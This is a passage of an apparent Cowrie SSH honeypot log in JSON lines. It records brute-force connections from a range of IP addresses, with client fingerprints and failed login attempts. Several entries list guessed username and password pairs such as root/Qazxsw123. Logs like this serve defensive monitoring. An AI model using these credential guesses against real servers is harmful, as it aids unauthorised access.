-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:33.068784Z","src_ip":"166.62.35.226","session":"b2b1ae407511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexoplatform","password":"nexo123","message":"login attempt [nexoplatform/nexo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:33.264312Z","src_ip":"166.62.35.226","session":"b2b1ae407511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:34.332605Z","src_ip":"166.62.35.226","session":"b2b1ae407511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.192.144.206","src_port":37906,"dst_ip":"10.17.0.5","dst_port":22,"session":"61996ed8cfd9","protocol":"ssh","message":"New connection: 159.192.144.206:37906 (10.17.0.5:22) [session: 61996ed8cfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:49.702741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:49.706641Z","src_ip":"159.192.144.206","session":"61996ed8cfd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:49.969822Z","src_ip":"159.192.144.206","session":"61996ed8cfd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2017!@#","message":"login attempt [root/unitedstates2017!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:50.762193Z","src_ip":"159.192.144.206","session":"61996ed8cfd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:57:52.028568Z","src_ip":"159.192.144.206","session":"61996ed8cfd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":57315,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac98ddda7ce8","protocol":"ssh","message":"New connection: 14.55.144.22:57315 (10.17.0.5:22) [session: ac98ddda7ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:04.605334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:04.609319Z","src_ip":"14.55.144.22","session":"ac98ddda7ce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:04.815772Z","src_ip":"14.55.144.22","session":"ac98ddda7ce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazxsw123","message":"login attempt [root/Qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:05.676835Z","src_ip":"14.55.144.22","session":"ac98ddda7ce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:06.886264Z","src_ip":"14.55.144.22","session":"ac98ddda7ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.37.174.180","src_port":14834,"dst_ip":"10.17.0.5","dst_port":22,"session":"b317339859c7","protocol":"ssh","message":"New connection: 211.37.174.180:14834 (10.17.0.5:22) [session: b317339859c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:19.727529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:19.731486Z","src_ip":"211.37.174.180","session":"b317339859c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:19.931050Z","src_ip":"211.37.174.180","session":"b317339859c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2017@","message":"login attempt [root/unitedstates2017@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:20.542885Z","src_ip":"211.37.174.180","session":"b317339859c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:21.747111Z","src_ip":"211.37.174.180","session":"b317339859c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":44704,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ed3ea82f54","protocol":"ssh","message":"New connection: 188.92.241.150:44704 (10.17.0.5:22) [session: d2ed3ea82f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:27.285628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:27.289339Z","src_ip":"188.92.241.150","session":"d2ed3ea82f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:27.426937Z","src_ip":"188.92.241.150","session":"d2ed3ea82f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:28.011104Z","src_ip":"188.92.241.150","session":"d2ed3ea82f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:58:29.151503Z","src_ip":"188.92.241.150","session":"d2ed3ea82f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59008,"dst_ip":"10.17.0.5","dst_port":22,"session":"00487d997dc4","protocol":"ssh","message":"New connection: 38.93.206.2:59008 (10.17.0.5:22) [session: 00487d997dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:05.408178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:05.411626Z","src_ip":"38.93.206.2","session":"00487d997dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:05.462996Z","src_ip":"38.93.206.2","session":"00487d997dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"septembe","message":"login attempt [root/septembe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:05.612796Z","src_ip":"38.93.206.2","session":"00487d997dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:06.665829Z","src_ip":"38.93.206.2","session":"00487d997dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.154.235.21","src_port":43954,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06893601e8b","protocol":"ssh","message":"New connection: 122.154.235.21:43954 (10.17.0.5:22) [session: f06893601e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:19.376473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:19.379651Z","src_ip":"122.154.235.21","session":"f06893601e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:19.628597Z","src_ip":"122.154.235.21","session":"f06893601e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2017@#","message":"login attempt [root/unitedstates2017@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:20.366804Z","src_ip":"122.154.235.21","session":"f06893601e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:21.613758Z","src_ip":"122.154.235.21","session":"f06893601e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":50830,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8dd403a5541","protocol":"ssh","message":"New connection: 162.241.132.183:50830 (10.17.0.5:22) [session: b8dd403a5541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:24.046585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:24.049747Z","src_ip":"162.241.132.183","session":"b8dd403a5541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:24.072015Z","src_ip":"162.241.132.183","session":"b8dd403a5541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pyth2024","message":"login attempt [root/pyth2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:24.141444Z","src_ip":"162.241.132.183","session":"b8dd403a5541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:25.165697Z","src_ip":"162.241.132.183","session":"b8dd403a5541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":48906,"dst_ip":"10.17.0.5","dst_port":22,"session":"976f941f187c","protocol":"ssh","message":"New connection: 188.92.241.150:48906 (10.17.0.5:22) [session: 976f941f187c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:41.894974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:41.898842Z","src_ip":"188.92.241.150","session":"976f941f187c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:42.042083Z","src_ip":"188.92.241.150","session":"976f941f187c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":59626,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c88aacf37d3","protocol":"ssh","message":"New connection: 176.32.39.21:59626 (159.203.135.109:22) [session: 7c88aacf37d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:42.337312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:59:42.341110Z","src_ip":"176.32.39.21","session":"7c88aacf37d3","protocol":"ssh"}
